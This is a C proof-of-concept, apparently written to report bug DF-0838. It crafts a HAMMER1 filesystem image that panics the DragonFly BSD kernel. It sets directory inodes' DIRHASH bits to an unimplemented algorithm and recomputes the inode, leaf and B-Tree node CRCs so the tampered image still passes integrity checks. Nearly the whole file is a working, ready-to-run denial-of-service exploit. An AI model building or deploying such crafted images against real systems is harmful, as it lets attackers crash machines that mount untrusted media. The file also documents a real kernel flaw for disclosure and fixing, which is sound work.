/*
 * DF-0838 — patch the HAMMER1 directory-inode cap_flags on-disk so the
 * low 2 bits (DIRHASH algorithm) become 0x02 (ALG2 / unimplemented), and
 * re-compute the leaf data_crc32 so the kernel still accepts the inode.
 *
 * Bug trigger (sys/vfs/hammer/hammer_subs.c:1026-1032):
 *   switch (dip->ino_data.cap_flags & HAMMER_INODE_CAP_DIRHASH_MASK) {
 *     case HAMMER_INODE_CAP_DIRHASH_ALG0: ... break;
 *     case HAMMER_INODE_CAP_DIRHASH_ALG1: ... break;
 *     case HAMMER_INODE_CAP_DIRHASH_ALG2:
 *     case HAMMER_INODE_CAP_DIRHASH_ALG3:
 *     default:  hpanic("bad algorithm %p", dip);
 *   }
 *
 * cap_flags is byte 65 of struct hammer_inode_data and is read verbatim
 * from disk at hammer_inode.c:525 — no semantic validation.  Mount a
 * crafted image whose directory inode has bits[1:0] = 0x02 then any
 * filename operation panics.
 *
 * Disk layout reference:
 *   sys/vfs/hammer/hammer_disk.h:880   struct hammer_inode_data (128 B)
 *   sys/vfs/hammer/hammer_btree.h:170  struct hammer_btree_leaf_elm (64 B)
 *   sys/vfs/hammer/hammer_crc.h:71     hammer_datacrc() = crc32 for v<=6
 *   HAMMER_INODE_CRCSIZE = 112 (covers bytes [0, offsetof(mtime)))
 *
 * Strategy:
 *   1. Locate directory inodes by signature (ver=1, mode=0o755,
 *      obj_type=DIRECTORY) -- very low false-positive rate.
 *   2. For each one, change cap_flags bits[1:0] to 0x02 (ALG2).
 *   3. Compute new crc32 over the inode's first 112 bytes.
 *   4. Find the B-Tree leaf that holds the OLD crc (recognizable as a
 *      4-byte LE word preceded by data_len=128 == 0x80,0,0,0) and write
 *      the NEW crc there.
 *
 * NOTE: This only handles HAMMER vol_version <= 6 (crc32).  Format the
 * image with `newfs_hammer -V 6`.
 */

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/stat.h>
#include <zlib.h>

#define HAMMER_INODE_DATA_VERSION 1
#define HAMMER_OBJTYPE_DIRECTORY 1   /* hammer_disk.h:859 */
#define HAMMER_INODE_CRCSIZE 112
#define INODE_DATA_SIZE 128

static uint8_t *g_map = NULL;
static off_t   g_sz   = 0;

static int load_image(const char *path)
{
    int fd = open(path, O_RDWR);
    if (fd < 0) { perror("open"); return -1; }
    struct stat st;
    if (fstat(fd, &st) < 0) { perror("fstat"); close(fd); return -1; }
    g_sz = st.st_size;
    g_map = malloc(g_sz);
    if (!g_map) { fprintf(stderr, "malloc %lld failed\n", (long long)g_sz); close(fd); return -1; }
    off_t off = 0;
    while (off < g_sz) {
        ssize_t n = read(fd, g_map + off, g_sz - off);
        if (n < 0) { perror("read"); close(fd); return -1; }
        if (n == 0) break;
        off += n;
    }
    close(fd);
    fprintf(stderr, "loaded %lld bytes\n", (long long)off);
    return 0;
}

static int save_image(const char *path)
{
    int fd = open(path, O_RDWR);
    if (fd < 0) { perror("open write"); return -1; }
    off_t off = 0;
    while (off < g_sz) {
        ssize_t n = write(fd, g_map + off, g_sz - off);
        if (n < 0) { perror("write"); close(fd); return -1; }
        off += n;
    }
    close(fd);
    fprintf(stderr, "wrote back %lld bytes\n", (long long)off);
    return 0;
}

static uint32_t hammer_inode_crc(const uint8_t *inode)
{
    uLong c = crc32(0L, Z_NULL, 0);
    c = crc32(c, inode, HAMMER_INODE_CRCSIZE);
    return (uint32_t)c;
}

/* Recompute a B-Tree node's CRC after we changed one of its leaf elements.
   struct hammer_node_ondisk is 4096 bytes; crc is the first 4 bytes; CRC
   covers the remaining 4092 bytes (hammer_btree.h:247, hammer_crc.h:227). */
static void fixup_btree_node_crc(uint8_t *node_start)
{
    uLong c = crc32(0L, Z_NULL, 0);
    c = crc32(c, node_start + 4, 4096 - 4);
    uint32_t newcrc = (uint32_t)c;
    node_start[0] = (uint8_t)(newcrc & 0xff);
    node_start[1] = (uint8_t)((newcrc >> 8) & 0xff);
    node_start[2] = (uint8_t)((newcrc >> 16) & 0xff);
    node_start[3] = (uint8_t)((newcrc >> 24) & 0xff);
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "usage: %s <hammer-image>\n", argv[0]);
        return 2;
    }
    if (load_image(argv[1]) < 0) return 1;

    /* ver=1 + mode=0o755 signature: 01 00 ed 01 */
    uint8_t sig[4] = { 0x01, 0x00, 0xed, 0x01 };

    int patched = 0;
    for (off_t o = 0; o + INODE_DATA_SIZE <= g_sz; o++) {
        if (memcmp(g_map + o, sig, 4) != 0) continue;
        uint8_t objt = g_map[o + 64];
        if (objt != HAMMER_OBJTYPE_DIRECTORY) continue;

        uint8_t cap = g_map[o + 65];
        int64_t pobj = 0;
        for (int i = 0; i < 8; i++)
            pobj |= ((uint64_t)g_map[o+24+i]) << (8*i);
        uint64_t nlinks = 0;
        for (int i = 0; i < 8; i++)
            nlinks |= ((uint64_t)g_map[o+72+i]) << (8*i);

        printf("dir inode @ off=0x%08llx cap_flags=0x%02x"
               " parent_obj_id=0x%llx nlinks=%llu\n",
               (long long)o, cap, (long long)pobj,
               (unsigned long long)nlinks);

        if ((cap & 0x03) == 0x02 || (cap & 0x03) == 0x03) {
            printf("  -> already invalid alg, leaving\n");
            continue;
        }

        uint32_t old_crc = hammer_inode_crc(g_map + o);
        uint8_t  old_cap = cap;
        uint8_t  new_cap = (uint8_t)((cap & ~0x03u) | 0x02u);  /* -> ALG2 */
        g_map[o + 65] = new_cap;
        uint32_t new_crc = hammer_inode_crc(g_map + o);

        printf("  PATCH cap_flags 0x%02x -> 0x%02x ; crc 0x%08x -> 0x%08x\n",
               old_cap, new_cap, old_crc, new_crc);

        /* Find leaf's data_crc field: 8-byte window with data_len=128 (0x80 0 0 0)
           followed by old_crc in LE. */
        uint8_t want[8] = {
            0x80, 0, 0, 0,
            (uint8_t)(old_crc & 0xff),
            (uint8_t)((old_crc >> 8) & 0xff),
            (uint8_t)((old_crc >> 16) & 0xff),
            (uint8_t)((old_crc >> 24) & 0xff),
        };
        uint8_t newcrc[4] = {
            (uint8_t)(new_crc & 0xff),
            (uint8_t)((new_crc >> 8) & 0xff),
            (uint8_t)((new_crc >> 16) & 0xff),
            (uint8_t)((new_crc >> 24) & 0xff),
        };

        int hits = 0;
        for (off_t c = 0; c + 8 <= g_sz; c++) {
            if (c >= o && c < o + INODE_DATA_SIZE) continue;
            if (memcmp(g_map + c, want, 8) == 0) {
                memcpy(g_map + c + 4, newcrc, 4);
                printf("  updated leaf data_crc @ off=0x%08llx",
                       (long long)c);
                /* The leaf lives inside a 4 KiB B-Tree node; we just changed
                   a byte inside it so the node's own CRC is now stale. */
                off_t node_off = c & ~((off_t)4095);
                fixup_btree_node_crc(g_map + node_off);
                printf(" (re-crc'd node @ 0x%08llx)\n",
                       (long long)node_off);
                hits++;
            }
        }
        if (hits == 0)
            fprintf(stderr,
                    "  WARNING: no leaf data_crc match (CRC will fail)\n");
        patched++;
    }

    if (patched == 0) {
        fprintf(stderr, "no directory inode patched\n");
        return 3;
    }
    if (save_image(argv[1]) < 0) return 1;
    printf("OK: patched %d directory inode(s)\n", patched);
    return 0;
}
